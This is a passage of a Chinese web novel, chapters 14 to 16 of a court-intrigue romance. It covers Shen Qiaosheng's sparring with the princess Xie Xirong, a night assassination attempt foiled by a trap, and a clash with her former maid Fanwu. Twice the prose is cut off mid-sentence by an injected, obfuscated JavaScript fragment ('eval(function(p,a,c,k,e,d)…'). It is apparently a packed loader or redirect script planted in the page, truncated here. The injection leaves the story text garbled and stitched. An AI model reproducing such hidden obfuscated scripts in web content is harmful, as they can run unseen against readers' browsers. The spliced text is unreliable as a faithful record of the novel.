“你找的卖炭女坦言和你从无交集,你却知道她的名字,她的路径,甚至她的家长里短,告诉本宫你是怎么选中她的?” 沈乔笙的脸上出现无措。 糕点被她含在右腮,随之化开一些,满口生津,她却没来由地尝出些苦涩的味道,许久,她望着谢袭容凌傲逼人的眼,口齿不清地轻声:“她于我有恩,只是她忘记了。” 谢袭容探究眼神,对上她泠泠然泛波浪的目光。 “她忘记了,只有我一个人记得。”她好像在说圆圆,又好像不止是圆圆。 她的回答终于开始有趣起来。 他的回合,就是以剖析她为乐: “继续,昨天落水的马车是出自沈家,或者更准确点,本就是冲你来的,而你不声不响完美避开了一场暗算,是么?” 这对她是已经规避掉的麻 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甚至隐约点出她能知事,又不能尽知的困境。 在此未来凶险万分,在她找到办法扭转局势前,她不能向任何人袒露底牌,包括谢袭容。 这是必须守住的秘密。 但极为矛盾,她想到的办法,就是谢袭容。 天色完全沉没进黑暗。 沈乔笙辨别方位,知道长公主松开她的腿弯,俯下身靠近过来,宛若水滴清瓷的声音在催促她: “解释啊。” 被病痛折磨到吐字虚弱,无意拂扫她脸颊的气息却滚烫,多么反差,才会让他的嗓音染上一层浅淡的蛊惑。 是不是长公主跋扈的脾气,也一同藏进夜晚了? 沈乔笙铁了心闭口不谈,她思维逆转,嬉笑揶揄:“殿下说过,选我要看我的本事。您现在对我这样好奇,是不是就算认可我的本事呢?” 他也随之笑了下,好似真的在考虑她的话,给她的回敬也不落下乘: “本宫也说过给你机会,你凭什么认为,现在不是在给你留机会呢?” 紧张的追击后是盘旋对峙情形,沈乔笙还不敢放松。 博弈是互相驯服的过程,驱从者不需要问领主‘为什么’,不是吗? 沈乔笙想要当这一刻的领主。 难的是谢袭容没打算被驯服,他是一言不合就争锋对撞的那一个。 角逐在继续,她尝试示弱引虚,语气放软祈求:“既然殿下给我机会,那就再多给一点好不好?” “好啊,本宫等你愿意回答的那天。”他像多轻易就能探爪入洞,抓出狡猾的白兔。 却又坏心眼地站在洞口,等待兔子自乱阵脚。 断竹上,饱餐后禽鸟陡然发出一声尖锐长鸣,展翅飞窜冲天,沈乔笙吓得身子震抖。 风动竹林摇晃扑簌,鸟鸣旷响回音,还有在这之后贯耳的寂冷,在她耳畔交织。 随后才发现这些动静,原来都被谢袭容的身躯隔绝在外。 她所能听到的,不过是谢袭容的呼吸。 还有他唇间至以勾魂索魄的危言: “本宫可以等,你也没问题吗?沈乔笙。 “等到你嫁给谢冠的时候,也没问题吗?” 14.014 没心肝 突然被戳中心事,沈乔笙哑口无言,不会说话了。 对啊,纵然和殿下搞好关系这事欲速不达,可是时间不会等她。 过几天父兄归家,在他们下次出征前的三个月时间内,她须迅速摆平宅院,阻止他们出征,并且摆脱与太子的婚约。 实在是任务艰繁。 即使她捧出再多真心,谢袭容冷情多疑的性子也不会为她改变,三个月……情况再乐观,长公主最多只能在父兄出征一事上帮衬,不会插手她和谢冠的婚事。 而婚约一日不解,定邺侯府就始终是东宫案板上的鱼肉。 谢袭容未来能除去太子、谋权天下不假,可她凭什么要求长公主为她改变计划呢? 想到这层后,她最后带有希冀地问:“我的经书,是殿下帮忙递给太后娘娘的吗?” “御湖佛堂太后也常去,书放得那么显眼,她不瞎就能看见,”他起身站开,不屑的语气熄灭了她微弱的希望, “本宫没碰过。” 好吧,她想。 果然是这样。 一开始就以功利心接近长公主,是不应该的,这对长公主不公平。 她忽然沉思不语,这场本就不平衡的对抗终归是他赢了。 沈乔笙坐起身,慢吞吞从桌面下来,只是重复一开始要走的话:“归家太晚恐母亲焦急,殿下若是不需照顾,乔笙先回家了。” 谢袭容看她,神情呆呆的,垂下的肩膀看起来有些落魄,倒不像慌不择路的兔子,反而像躲在洞里装死的兔子。 这个反应他并不满意。 今夜扶危殿无人点灯,竹间漆黑难行,沈乔笙怀着满腹心事往外离去,走上林径的背影忧心忡忡,又犹豫转头寻找谢袭容。 “怎么?改主意了,还是需要本宫送你?”谢袭容抱臂,清晰她羞愧咬紧下唇,微微鼓起颊肥。 “我还有一个问题,关于圆圆说的话,”她弱声弱气,“殿下没有对圆圆用刑……逼供吧?” 又一句意料外的话,谢袭容烦得很,没个好声气:“圆圆长圆圆短,她没有属于自己的全名?” “什么?” 没听说圆圆有其他名字啊? “没。”他冷言丢下一个字,沈乔笙才知是在回答她。 她连声“噢噢”手忙脚乱摸黑往外走,依靠类同半盲的视野双手摸索,扶着竹子找到出去的路。 谢袭容就这样任她做个缩头乌龟,放她慢吞吞逃走,独自倚坐桌边,重新拿起被她放远的剑。 并竖两指长抚剑身,他感到筋穴百汇中的痛症正在褪温,思绪一瞬清明。 这样担心那个卖炭的,竟然没提起要把人接走。 ** 尽管沈乔笙对长公主敬慕依然,但今晚的交涉的确让她焦心,不可把希望全寄在一处。 归家后她谁也没惊动,第一时间单独会见老田。 沈乔笙关心询问:“田叔,囡囡的病现下如何了?” “托姑娘的福,小的能够亲手照料她,现已精神不少。” 老田自从被她荐入总账房,一直兢业谨慎,很快将府中账目都盘上手,每日也有空陪伴女儿,故此对她十分感激敬重,“姑娘有何吩咐,听凭差遣。” 沈乔笙点头,也就有话直言:“我要一份侯府所有良田、地皮以及商铺等置业的清单名录。” 老田一时吃惊望向她。 主子的事莫要多问,他自然也是知道这个道理。 “你放心,我只见清单名目不见收成盈亏,于你也不难办到。况且我是侯府小姐,了解自家产业亦无可厚非。”沈乔笙为打消他的顾虑,说出的理由既为老田考虑,也让他无法推拒。 老田连连称是:“小的立马去办。” 沈乔笙点头,另外嘱咐道:“多谢,只是关姨娘向来不喜我沾手家务事,为保后宅和睦……” 她未尽之言全在老田的领会里:“姑娘放心,绝无第三人知晓。” 晚间言毕各自去。 老田不愧是凭借做事麻利获得赏识,连夜编整好册子,翌日天不亮就守在沈乔笙出府之路的暗旁。 沈乔笙接过,看着老田眼下的乌青,遂点头郑重收进袖中,前去赴学。 因太后才从小南山佛堂归来,身子乏累在正殿睡着,沈乔笙被免去问安,依旧跟朱嬷嬷在后殿学习。 午后朱嬷嬷亲去给太后准备醒神汤,暂留沈乔笙独自课间歇息。 左右无事,她挪开几个茶点碟子,拿出早晨田管账给的册录,开始仔细研读。 忽听东暖阁传来一阵窸窣动静,她短暂地被吸引目光。 但见重花百草遮帘下,露出金缕蛛纹黑底长靴,小腿瘦直且修长,坐在火榻上一脚踏地,一脚肆意踩在搭腿用的软凳面上。 竟是谢袭容神出鬼没地来了。 是了,除了长公主殿下,没别人的坐姿如此“不守规矩”。 他哪里用守规矩?他本人就是规矩。 沈乔笙有些意外,不由多看了几眼,转念又想到暖阁连通前后殿,此刻太后睡着,殿下不去前头打扰也实属正常。 昨日竹林对峙宛在目,谢袭容的态度让沈乔笙不敢再妄加招惹,只是瞥眼间看见谢袭容旁边蹲跪着一个侍女,正低头给火盆添炭。 看身形貌似有些眼熟,不过眼下还是册子上的内容重要些。 若是放在前几天,她高低是要掀开帘子细瞧,热情同长公主殿下闲话家常的,而今天她没了这种放下矜持体统的勇气。 她只好强迫自己集中精神。 暖阁里不时传来谢袭容的斟茶翻书声,还有侍女翻动炭块的微弱撞击声,组成干净的白噪,神仙炉发散热烘的暖意,一室安逸。 帘内榻边 谢袭容肘臂搭桌手中握卷,两眼鹰视着遮帘,或者说,是透过模糊的帘影,盯着伏案低头的沈乔笙。 这卖炭女都把炭盆玩出火星子了,她都发现不了? 还把他视为无物,一句话都不说?连请安也不? 他低蔑地斜了眼卖炭女,吐出一口不耐烦的气息:“……” 圆圆被这刀剐般的眼神吓住,添炭的手不慎哆嗦松开,炭块掉在铜盆边缘发出“当啷”震响。 沈乔笙惊动地抬头看过来。 谢袭容卷书本在手,支起额角隔纱观察她的反应。 静默于室内流淌,沈乔笙心里想的是: 长公主就是讲究,炭盆都要专人管。 嗯,公主这么做一定是有道理的。 她无谓地重新埋头,沉浸到自己的事儿里。 谢袭容太阳穴跳突。既然她不懂暗示,那就明示。 他撇开书弹起个响指,阿犯应之现身,反拿刀鞘作势抡向圆圆。 平日阿犯不见踪迹,他这一现身,圆圆立刻就认出这人掳过她,更可恨的是,他还把她打晕过! 她迎向阿犯挥舞拳头大叫:“你别过来!!” 顷刻间布帘“哗啦”甩响,声音伴随外间稍冷的空气涌进暖阁。 是沈乔笙听到圆圆呼喊,冲过来大力挥开帘子,就这样焦急地闯入。 只负责吓唬人的阿犯销声匿迹。 剩下沈乔笙和她四眼对个正着,二人相视半晌,惊喜地呼唤对方: “圆圆。” “沈姑娘!” “圆圆你怎么在这?你遇到危险了?”沈乔笙上前握住她双手,上下检查。 “我,他,她……”圆圆扭头看不见刚才袭击自己的人,只有一个谢袭容悠哉倚在榻上,冷眼瞧着她们姐妹相认,圆圆简直有口难言,心急半天嗫嚅道,“我没事。” 沈乔笙见她害怕,这才把目光投在谢袭容身上。 得承认,伴君如伴虎,没有危险的时候,长公主就是最大的危险。 “殿下万安。”她放缓声音,尽量周全礼数。 她的搭话不再雀跃带笑,不再迫切亲近他,也不含感情。 听出疏离,谢袭容腔调只比她更加冷硬: “原来会问安,还以为本宫该请你。” 他姿态狷狂往那儿一坐,手中慢慢摇动浮暗绿的黑鸹翎扇,便天然生出君临天下的气场。 沈乔笙退避三舍不假,但几番相处下来,她反而还更不怕谢袭容了,于是冒险道:“我失礼是我的错误,不要以此惩罚圆圆,不要吓她。” 是从哪儿总结来的因果关系? 谢袭容被她气笑了。 豌豆那么点大的脑子,动起来就呆得叮当响。 “你是在命令本宫么?” 她觉得有些不可思议:“乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我也愿意相信殿下。” 那翎扇停驻,掀起过的风丝撩动羽毛尾尖,轻颤不止,像只栩然欲飞的鸾鸟。 他没打算就此放过她,挑言道:“既然她想随你走,你今日就把她带走。” 她找理由回说:“是殿下先抢走圆圆的,殿下要对圆圆负责。” 有时身份牵扯总是桎梏,就像谢袭容也许不会护沈乔笙,而护一个圆圆易如反掌。 “不是你先捡到她的?你不需要对她负责?”谢袭容似笑非笑,淡然朝暖阁侧旁的通路瞥了眼。 长廊那端想起一道苍老声线:“你们聊什么这样热闹?” 是太后醒了,听说孩子们在这儿,便通过连廊从正殿走到后殿暖阁。 沈乔笙最先行动,她迅速走向暖阁外侧的门,路途经过谢袭容跟前。 她快步走过,谢袭容起身长臂一伸,竟后发先至,手中羽扇扣住她的腰身,臂弯巧劲勾动,她骤然被旋拨回身背靠门板,紧接着被他笼罩住。 他不急于给太后开门,倒是回了话。 说话时扬眉挑衅地看着她:“我们在聊,乔笙妹妹身边缺用人。” 柔顺的翎羽平盖在她头顶,他弯腰低头去看她,把视线高度也保持在羽毛之下。 彼此视线范围缩小,仿若他们真的被庇护在鸟翼里,足以互相取暖的温度,那么近。 门外太后正在步近,不疑有他地说:“那有何难,你替她安排几个便是。” 不是! 她和谢袭容尚能推拒几句,这要是变成太后金口玉言,性质可就不一样了。 她开口:“唔……” 谢袭容恶作剧地把扇子盖在她脸上,阻止她说话。 他很清楚,沈乔笙不带人走,一定是有事瞒着。 他就偏要弄清楚,她瞒的是什么。 像大人偏要掰开小孩子攥紧的手,看看里面究竟是糖,还是毒。 谢袭容的声音浸染上顽劣笑意: “放心,会好好安排她的。” 15.015 刺杀 一下午太后叙话,还要应对课业,沈乔笙根本找不到机会提出反对。 她不理解的是谢袭容为何这样做。肯定不像掳走那样是一时兴起,难道是为和她划清界限,连圆圆也不想看见。 有这么讨厌她吗? 这种挫折感直到她晚间归家,被堵在门外的她转变成傻眼。 入夜天街人潮涌泄,她穿过荧煌相照的街市,打眼看见侯府朱门前长灯通明,惊动心下还以为父兄提前归来,急忙挤上前,看见一群着锦绣官制服的人将庭户堵死。 那排场,如若不他们带着十来样红绸遮盖的宝筐,说是来砸场子的也有人信。 关氏站在门外,相形下显得毫无气场:“我们二姑娘乔笙性子内向没有结交,各位大人是否找错了呀?” 她的女儿沈华彤才是交友广泛,听闻最近摸到了三公主谢镜的闺中密友圈子里,说不定有机会同那三公主的双生胎哥哥——二皇子谢银走进些。 关氏自觉以为是沈华彤的交际手段卓有成效,这定是三公主赠与的美物。 关氏心想,那谢银也是德才兼备的贤能之人,沈乔笙嫁了太子又怎么样,自古以来,登帝前非太子出身的君王有多少?且看她沈乔笙最后能有几番得意! 那长吏没理会关氏的质疑:“没有找错,我们等的就是二姑娘沈乔笙。” 关氏一愣,旋即尖声阴阳:“哎哟,宫里赏的聘彩都在家里放着呢,这孩子又是从哪讨来的东西,也不知会一声。” 她把帕子别腰上,说着“我来瞧瞧”便随手要掀开红布,还没碰到就被一掌打开。 长吏拧眉喝道:“大胆!此乃太后懿旨所赐,长公主亲选佳赠,尔敢玷污?当心你的脏手!” 关氏捂手惊愣,又羞辱又惧怕,不敢相信沈乔笙竟连这两位天边的人物都攀得上。 此时,夹在人群中的圆圆一眼就看见沈乔笙,拔腿就冲过去:“姑娘!” 长公主动作竟然这么快的吗?沈乔笙恍惚走上前。 长吏向她问好,说明来意后直接着人抬东西进去,不给她推脱的机会。 “梨堕山火镰燧石一盒。” “素心兰珐琅吹烟筒一对。” “佛坐莲青金蓝火笼一只。” 红绸一样样揭开,精美绝伦的生火取暖用的工具,在她眼前呈现。这些全部都是佐着三百斤昂贵的银丝炭送来的。 虽说不是金银宝饰,可天家最不菲的就是豪奢器物,送那些都显得俗套,反而数量庞大足够她秦雉苑过完今冬的极品银丝炭,当属皇庭独有,有价无市。 向人昭示着太后贴心她的冷暖 十个箩筐,分别用防火绢和绳索精细捆严实,紧密迅速地抬进门。 圆圆挽着她的手嘟哝:“长公主竟然这么好心?” 那么奇怪、可怕、疯魔、反复无常的人,饶是只在公主身边待了几天,她也快要精神崩溃。 沈乔笙哭笑不得:“把你和千难换的银丝炭一起送来,她是在嘲笑我们。” 长吏收整队伍,领人作揖告辞:“另外,上头念钦定太子妃身子金贵,特赐有资历的宫廷侍女两位,请姑娘随意差使。”离开留下圆圆和另个一模一样衣着的女子。 中午刚见过圆圆,晚上就摇身一变成了‘有资历的宫廷侍女’,她理解这是谢袭容的恶意诓弄,但不理解另一个留下的姑娘……是怎么回事? 来都来了,也不能不让人进门吧。 她好歹是把两人都领回秦雉苑,简心看着不知从哪钻出来的两位姐妹,除了沏茶倒水招呼,剩下就是四个人面面相觑。 严谨点只有三人相觑,多出来的那女子高挑清冷,目视前方不理会她们。 沈乔笙主动主持道:“圆圆,你认得这位吗?” 方向对,这是长公主身边的人,说不定圆圆见过。 “这……我只知她武力高强。”圆圆有些欲言又止的害怕。 沈乔笙又转向女子,和颜悦色:“姑娘,我们该怎么称呼你?” 女子闻言把目光落在她身上,天生的三白眼,应该不带情绪,只是看着显凶。 她在沈乔笙的微笑鼓励中开口,冷不丁答非所问:“她不能叫圆圆了。” 沈乔笙第二回听到这事,还是满头疑惑:“她的名字怎么了?好端端的为何……” 女子从胸襟中掏出一把粉碎的纸,“啪”地拍在桌面上,把三人都吓得一激灵: “名籍在此,她不再叫圆圆。” 沈乔笙看着那撮废纸,用眼神询问圆圆。 圆圆有点怕那女子,往沈乔笙身边靠近:“下午她带我去家里把叔父婶婶打了一顿,从他们手里拿来了我的名籍,撕成这样了。” 她着实想不通,一个女子怎能轻轻松松就把屋顶整个掀翻? 沈乔笙不用想就知道,定是谢袭容的意思。 “圆圆你……”那女子又要开口重复,沈乔笙赶紧先说,“你愿意改名吗?” 若想留名,沈乔笙自然不会拿身份压她。 没想到圆圆并不抗拒:“愿意。阿爹喜欢小子不喜欢丫头,三岁为了好养活才给我起了贱名,既然父母已去,我为何不能获得新生?” 这番话撬动压在沈乔笙心上一块千斤石,却原来,新生的人何止她一个? 她能帮一个,就多一个。 圆圆又说:“姑娘给我取一个吧。” 沈乔笙思索道: 母亲给繁芜取名是寓意其生命繁茂,似草木坚韧,到头落得个利欲繁多,心思深重。 不若简单快乐纯真便好。 “寸菀,这个名字好不好?”她提。 圆圆把它在口中重复:“寸菀,寸菀……” 简心读过书认得些字,便问:“是哪个字?” “菀菀黄柳丝的‘菀’。” “真是个好字,简心,寸菀,很像亲姐妹呢!”简心为秦雉苑添上人气而高兴。 圆圆也赞同:“好!就叫寸菀,虽然我不会写,但我知道肯定比圆圆好。” 简心捂嘴笑她憨态可掬,一问一答中圆圆,不,寸菀就和简心热络起来。 “那你呢?你叫什么名字?”沈乔笙没有忘记她。 女子默声,扣在桌上的手指微微用力蜷起,把碎裂的纸张压皱。 除了同僚和主子,没有活人知道她的名字,这重要吗?她不懂沈姑娘为何坚持要问。 “猕。”但她还是说了。 沈乔笙学简心的口气:“是哪个字?” 猕木着脸,说不出什么诗词典故:“猕猴的猕。” 犬字辈,焉浚十八暗卫之一。 姑娘家家的竟然叫猕猴,简心和寸菀想笑不敢笑。 只有沈乔笙依然善意和柔:“真是个好字。” 她又好奇:“长公主殿下派你来是为了什么?” 猕豪不隐瞒:“看住你。” 沈乔笙哽住,猜测猕这闷葫芦性子,如若不是谢袭容让她这样说,她恐怕是十棍子闷不出一个字回答。 好家伙,她不肯透露的事谢袭容就光明正大插只眼来看,甚至告诉她“本宫监视你”,这谁看了不夸一句嚣张至极。不是,顶级阳谋。 往好处想,至少殿下对她有兴趣,应该……是好事。 吧。 她捏了把额角冷汗,把改名寸菀的圆圆交托给简心,让简心明日开始带她熟悉苑里,过后安排她和猕去苑外的围房歇息。 还能怎么办?打也打不过。 不能真把谢袭容的暗卫当普通婢女差使吧,只能供起来咯。 沈乔笙无事找猕,猕却是时刻谨记任务,夜深熄灯后,她听到隔壁传来寸莞的轻鼾便出推门而出。摸进苑内,她发现看门的小丁不在门房,下人房里简心也同样不在,东厢房卧倒病榻的妇人更是凭空消失。 怎么回事?她疑心顿起,立刻转到沈乔笙的寝居查看,床上被窝隆起一个人形弧度,看样子沈乔笙正在安睡。 不对!没有人的呼吸声。 猕快步上前掀开被褥,里面赫然躺着几只枕头。于此同时她从毫尘中嗅到粉尘味道,当即屏息腾身飞上横梁一瞧,不看不知道,屋顶竟然别有玄机——天花板上挂着一张巨网,四角悬下的香袋里全是蒙汗药。 这完全是在守株待兔,沈二姑娘究竟在为捉谁做准备? 她急忙脱出,出来前心细地把床铺复原,蹲在飞檐翘角上俯瞰秦雉苑,正搜寻沈乔笙本人的踪迹间,忽闻院墙外传来动静,五六个黑影急速翻过墙头,径直奔向沈乔笙屋里去,手中的钢刀越过门槛时个个晃眼。 有刺客。 猕单手吊住瓦沿,飞荡落到矮些的屋头上,只见白雾漫溢门窗缝隙,不久接二连三兵刃落地的叮当声传出,在寂夜中格外突兀。 夹道窜升扑朔的火光,沈乔笙带着小丁和几个杂役人手,霍地推开大门,她手挚炬火,脸庞被照亮一半如火勇毅,一半如夜色冷静。 她首当其冲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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饶是如此,她也动作渐慢,即将招架不住职业杀手的攻击。 一直隐匿在房顶的猕纹丝不动,只是眼睁睁看着。 主子的命令是监视,没有说可以插手,暗卫唯一的职责是执行任务,绝不允许做额外的事。 沈乔笙的生死和猕没有关系。 可是主子既不杀沈乔笙,还要看着她,那若是她死了,总不见得要监视一条尸体吧? 电光火石之中,沈乔笙同歹人撞上,刀刃只在刹那间就要落在她的头顶,猕飞起一脚“叮”地踢去半块碎瓦片,力破千钧,竟将那人持刀的手斜削断去。 “啊!!!” 那歹人的惨叫响彻院落。 可谁知断去一手不仅没有让他放弃,反而更加不要命地朝沈乔笙发起攻击。 天!沈乔笙也没料到贼人反扑鱼死网破,赶紧弃了柱子远离,背后杀手穷追不舍,离她越来越近,伸出的手险些抓到她。 猕蹲不住了,欲飞身跳下去,却在此时看见一条精瘦的人影冲进秦雉苑,硬生生替沈乔笙接下一记攻击。 不待缓口气,就和歹人赤手空拳地缠斗起来。 沈乔笙惊魂未定,分明了来人的姿容后震愕喊道:“表哥!” …… 天亮前 【扶危殿】 一张瑞鹤仙凉椅摆在庭院中,与冰天雪地的园景两极分化。 “所以她的确预先知道今晚有刺杀。” 谢袭容单衣薄裤,单腿曲起,半躺坐在檐下凉椅,月色洒漏清辉,如赠他白羽加身。 “然后呢?”他淡问。 猕垂下的头几乎和地面平齐:“然后属下插手帮她挡了一击,属下贸然,请主子责罚。” 她知道擅自行动的刑罚有多重。 上回阿狰因自大不服避瘴丹,险些耽误抓捕孝王,回去后被老师罚光脚在烧烫的石路上跑了二十圈,一双脚差点废了。 谢袭容却似乎没兴趣罚她:“往下说。” “然后一个男人进来救了她,看样子有拳脚但不精通,看门的小丁跑出来合力拿下刺客,沈姑娘毫发无损。”猕简要陈述。 “男人?”谢袭容摩挲杯口,重复这两个字,“什么男人?” 什么男人能半夜在侯府游走,又能毫不顾忌地进出她的院子? 猕认真地想了想说道:“沈小姐叫他表哥。” 沈参,查沈乔笙时倒是查到过这号人。前任左中郎将独子,受其父牵累,至今还是戴罪之身。 谢袭容哼笑一声,满不在乎地起杯喝茶。 猕接着说:“他伤了肩臂,沈姑娘还请他进屋亲手包扎。” 茶水沾唇被烫了下,谢袭容手蓦地顿住。 这茶酸了,难喝。 他反手倾杯,透湛的茶水徐徐浇在地上,温热触地不久就结成一层霜冰。 谢袭容起身:“去定邺侯府。” 16.016 合欢(上) 秦雉苑向来空旷,今夜却人满为患。 闹刺客的动静惊动院外值夜的家丁,慌张喊叫中把东院也吵醒,关氏不耐烦地赶了来。 “二妹妹不必担心,我包扎好便无碍了。”沈参面色惨白,吃痛地捂着伤处宽慰沈乔笙。 她扶着他坐下。 断手刺客跪在地上,被卸掉下巴,气愤的人们将他围死,你一言我一语指点谩骂。 更深寒重,关氏裹紧自个儿的皮毛披风,作一副事不关己样子:“你们无事是最好,乔笙啊,你院儿里的事,你就自己主张吧。” 那是最好不过,关氏能主动这样说,在某种程度上也减去些嫌疑。 “说出你幕后的主子,我饶你不死。”沈乔笙站在刺客面前,冷声道。 刺客一动不动如死了般。 她虽然也没抱能撬开他嘴的希望,但还是决定激一激:“现在说了,你活,若是不说日后让我查出来,你和你主子我一个都不会放过。” 可能是没有经验,她放狠话不够震慑威力,那人咯咯地笑起来,下巴大开口水流满襟,似乎在呜咽地说什么,沈乔笙命人接上他的下巴,他笑得狰狞:“就凭你?” 沈乔笙丝毫没被他激怒,反而笑盈盈地道:“凭我恐怕困难,不过你听说过当今长公主,谢袭容的名讳吗?” 谢袭容。 这三个字响起时,满院的喋喋争论好似被闸轮碾过,归于鸦雀无声的寂静。 长公主的大名真当是如雷贯耳,谁不知道,上一个被长公主发落午门问斩的人,现在尸首已经烂在门上两年了。 这正是沈乔笙要的效果,她扬起下巴更大声道:“你可知道她跟我是什么关系?” 旁人惊疑中她张扬笑说:“你的幕后再硬,与长公主相比如何呢? “长公主你是知道的,手段凶残非常人能及,若将你送到她手里,你恐怕要受些皮肉苦。 “毕竟殿下是我的挚爱亲好,同我两心相惜,不过是我一句话的事。 “不信啊?今天她送了十担银丝炭来慰我冷暖,还派贴身侍女来照顾我,大家共睹,试问你们见过殿下对别人这般吗?” 说罢她显露出得意样儿,拿捏得恰到好处—— “呵,能耐。” 忽然从风里飘来一缕悚人的讥诮,缭绕耳畔,亦远亦近如真似幻,吓得她笑容僵硬。 怎么回事?怎么好像听见殿下的声音!她四下转头找谢袭容的踪迹。 恍然之中,人潮拥挤之外,门灯背阴之下,系一条魅影萦倚门框。 一袭烟色底衫,暮山紫外袍猎猎幽荡,玉面朱唇半抹邪色,似在引诱屋主首肯,便会肆意侵入一口吞人身魂的妖孽。 他掀起暗夜的帘,泄露她梦里浮光掠影的惊鸿照面。 沈乔笙从光亮处移目门外黑暗,瞧得很不真切,闭了闭眼再睁开用力看去。 那里漆黑空洞,哪有什么人? 再看周围他人一切如常,可以确定,除了她没人听到刚才的说话声。 莫非是幻觉?都怪她为捉刺客精神紧张,容易疑神疑鬼,殿下怎么可能大驾光临?她揉揉眼,把注意力重新放回现场。 非是幻象。 谢袭容的确出现一瞬间就消失了。 和她对上视线的刹那,他诘问自己在做什么。 分明对她的图谋轻松看透,分明对她的纠缠厌烦至极,她在他眼皮子底下,如同一只学艺不精的杂耍小狗,分明仅此而已。 沈乔笙这样的虚伪奉承的人,他竟然特地来观赏了她一出狐假虎威? 他离开在黑夜里徐然独行,这夜晚却不够宁静。 ‘我的挚爱亲好。’ ‘我们两心相惜。’ 耳边不断响起她口中诸言,纷繁着不安生。 烦扰思绪到达峰点时,他停在秦雉苑后门。 够了。 她不过只是,一种杂念。 他抬脚“砰”地狠恶踹飞闭锁的后门,脸色阴沉态度不爽的骂了句:“乳臭未干的狐狸。”迈步扬长而去,留下个空荡钻风的门洞。 离得远,前院里没人听见后门板牺牲的动静。 在赏赐的印证下,府里上下都不得不信沈乔笙和谢袭容交好,当时惊讶又畏惧地看着她,关氏原本的倦怠也一扫而空,正襟危坐拿忌惮的眼神扫量她。 太后年事已高,除了偶尔听政就是礼佛不问世事,不见得会给沈乔笙撑腰。可如果是长公主,形势就完全不同了。 长公主手狠心狠为其一,权势滔天更是世间罕有,沈乔笙若是得了长公主支持,岂不真离做皇后不远了? 和关氏担心的权力倾斜不同,断手刺客的恐惧自于谢袭容的残暴专横,他的主人是极端之人,和谢袭容比起来都显得有人情味。 他想起组织里平日一起训练的弟兄们,在谢袭容手里碎尸万段,成了一锅煮烂的饺子似的,不分你我。 他遏制不住地筛抖,沈乔笙正欲趁热打铁,此时小丁跑来同她耳语几句。他在柴房里搜查另外几个刺客时发现,这些人舌头下隐藏着相同的刺青图纹,呈扭曲的蛇符样式,急忙用纸仿画下来交给沈乔笙。 这是个重要发现,她观察了眼断手刺客的脸色,攥住纸张没让任何人瞧见内容。 “天色不早都回去歇息吧,待明日去官衙昭发悬赏令,提供主谋线索者赏一百两。”沈乔笙改变策略,安抚众人各自散去。 等断手也锁进柴房后,她才通知简心转移母亲回房。 “夫人觉浅,轻些别把人吵醒了!”简心捏着气音指挥着,蹑手蹑脚地把睡梦中的杨氏挪到东厢。 秦雉苑重归寂静,沈乔笙在东厢门外就着烛笼光,看纸片上的蛇符看得入神,简心出来见她愁眉思绪,凑上去好奇道:“姑娘在看什么这样入神。” 沈乔笙倒没防着简心,只是端详着纸片,脑海搜寻上辈子记忆,何曾见过这花纹。 见姑娘不抗拒,简心凑上去看了眼,认出:“这不是繁芜姐姐腰间的图案嘛?” “什么!你见过!”她发觉自己反应过大,压低嗓音还是很焦急,“繁芜身上和这个一模一样吗?确定吗?” 简心挠头:“是呀,去澡堂子梳洗她总是穿着裤子,趁没人才会脱下清洗,有次我折回去拿东西撞见她腰上就是这纹样,我夸她特别,哪知她把我骂了顿。” 沈乔笙当即拍板:“现在就去黯坊!” 打断她的是三声高亢嘹亮的公鸡打鸣,望天色竟是将早,白日还要进宫,现在去黯坊来不及了,她只得暂时放弃,打算今天到晚再去。 本想趁进宫前小憩片刻,回房看见被刺客砍得四分五裂的床板,遂作罢。 无奈站到窗边吹风醒神,天光蒙亮,她目视后院,突然伸长脖子定眼瞪大。 不是,刺客没跑,门怎么跑了? ** 一整天沈乔笙刻苦用功,为了掩盖自己心事重重,课间也不肯停歇,见缝插针钻研起产业名录,以至于没注意到,谢袭容全天不曾出现伴侍太后。 放课后连晚膳都来不及吃,奔到黯坊指名找繁芜。 “又见面了,姑娘,幺娘可是对你记忆犹新。”来人音调多娇媚。 她来此第一个见到的不是繁芜,而是在织丹夜阙门口同她做交易的蓝袍女子,名唤幺娘。 在坊内幺娘不披外袍,衣裙多有露骨,迎来招呼:“终于知道我们这黯坊是好地方,也来一品芳泽了?说吧,喜欢什么样的男子?我给你推荐。” 黯坊能是什么好地方,狎妓的地方呗,男娼也能占半边。 沈乔笙道她假不正经,笑着摆摆手:“我来找繁芜。” 幺娘愣是想了半天,才回忆起把这人丢到哪个犄角旮旯:“哦她呀,我是看她养的不错才买来,谁知死活不肯接客,嘴里说些什么她是太子的人之类疯话吓唬客人。不过两文钱的货也不必挑剔她,扔后院当洗衣婆就是。” 沈乔笙请她带路去繁芜房间,幺娘道:“我可是黯坊的人贩子,你倒是信我?” “你是生意人,又不是强盗。” 幺娘笑道“敞亮”,带她深入后院,来到一处四周漏风的木屋。 “我在外头等你聊完,有事叫我。”她帮忙打开房门,便抱臂守在外头。 沈乔笙感激地笑笑,推门而入,转眼被满屋杂乱吓了一跳。 繁芜手捧黑黄的死面馒头,形容枯槁,呆滞地瞪着突然到访的旧日主子。 沈乔笙不废话,展开纸片支到她眼前:“ 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“你懂什么!你们养尊处优的小姐懂什么?我全家老小都等着我一人养,父母年迈无力,弟弟重病,我无数次求你救救我弟!你呢?十年情分只换来你一句他该死!” 繁芜歇斯底里,双拳在桌上砸得砰砰响。 沈乔笙垂眼半晌,才觉得好笑:“原是为这事,你弟弟可不就是该死么?” “你!” “蠢得出奇,你家里六口人,为什么只把你一个卖来为奴为婢? 你以为你那两个废物哥哥,是谁在托人照应,给他们活干?你以为你弟弟得了绝症,殊不知是懒症,是和你父母联手从你身上榨钱的吸血症。 我一直劝你为自己想想,到头来你却为此恨我,难怪,这都是你应得的,你不冤。” “住口,住口别说了!”繁芜几近崩溃,她暴起推倒桌子,扑到床边摸到枕下掏出个纸包,猛然散开丢向沈乔笙,口里癫狂大叫, “你去死。” “你也尝尝万劫不复的滋味!” “去死!” 粉末弥散,沈乔笙大惊,因着两天一夜没有休反应变得迟缓,勉强躲过攻击,但还是无可避免地吸入一些。 